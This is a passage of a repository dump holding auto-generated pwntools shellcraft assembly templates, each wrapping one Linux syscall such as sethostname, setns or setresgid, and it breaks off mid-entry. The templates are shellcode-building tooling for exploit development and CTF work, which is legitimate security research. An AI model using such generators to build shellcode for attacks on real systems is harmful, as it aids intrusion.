    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sethostname(name, length) -> str\n\nInvokes the syscall sethostname.\n\nSee 'man 2 sethostname' for more information.\n\nArguments:\n    name(char*): name\n    length(size_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"name=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['name', 'length']\n    argument_values = [name, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sethostname']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sethostname'])\n%>\n    /* sethostname(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setitimer.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setitimer(which, new, old) -> str\n\nInvokes the syscall setitimer.\n\nSee 'man 2 setitimer' for more information.\n\nArguments:\n    which(itimer_which_t): which\n    new(itimerval*): new\n    old(itimerval*): old\nReturns:\n    int\n</%docstring>\n<%page args=\"which=0, new=0, old=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['which', 'new', 'old']\n    argument_values = [which, new, old]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setitimer']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setitimer'])\n%>\n    /* setitimer(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setns.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setns(fd, nstype) -> str\n\nInvokes the syscall setns.\n\nSee 'man 2 setns' for more information.\n\nArguments:\n    fd(int): fd\n    nstype(int): nstype\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, nstype=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'nstype']\n    argument_values = [fd, nstype]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setns']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setns'])\n%>\n    /* setns(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setpgid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setpgid(pid, pgid) -> str\n\nInvokes the syscall setpgid.\n\nSee 'man 2 setpgid' for more information.\n\nArguments:\n    pid(pid_t): pid\n    pgid(pid_t): pgid\nReturns:\n    int\n</%docstring>\n<%page args=\"pid=0, pgid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'pgid']\n    argument_values = [pid, pgid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setpgid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setpgid'])\n%>\n    /* setpgid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setpriority.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setpriority(which, who, prio) -> str\n\nInvokes the syscall setpriority.\n\nSee 'man 2 setpriority' for more information.\n\nArguments:\n    which(priority_which_t): which\n    who(id_t): who\n    prio(int): prio\nReturns:\n    int\n</%docstring>\n<%page args=\"which=0, who=0, prio=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['which', 'who', 'prio']\n    argument_values = [which, who, prio]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setpriority']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setpriority'])\n%>\n    /* setpriority(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setregid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setregid(rgid, egid) -> str\n\nInvokes the syscall setregid.\n\nSee 'man 2 setregid' for more information.\n\nArguments:\n    rgid(gid_t): rgid\n    egid(gid_t): egid\nReturns:\n    int\n</%docstring>\n<%page args=\"rgid=0, egid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['rgid', 'egid']\n    argument_values = [rgid, egid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setregid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setregid'])\n%>\n    /* setregid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setregid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setregid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall setregid32.\n\nSee 'man 2 setregid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setregid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setregid32'])\n%>\n    /* setregid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setresgid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setresgid(rgid, egid, sgid) -> str\n\nInvokes the syscall setresgid.\n\nSee 'man 2 setresgid' for more information.\n\nArguments:\n    rgid(gid_t): rgid\n    egid(gid_t): egid\n    sgid(gid_t): sgid\nReturns:\n    int\n</%docstring>\n<%page args=\"rgid=0, egid=0, sgid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['rgid', 'egid', 'sgid']\n    argument_values = [rgid, egid, sgid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setresgid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setresgid'])\n%>\n    /* setresgid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setresgid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>setresgid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall setresgid32.\n\nSee 'man 2 setresgid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_setresgid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_setresgid32'])\n%>\n    /* setresgid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setresuid.asm",
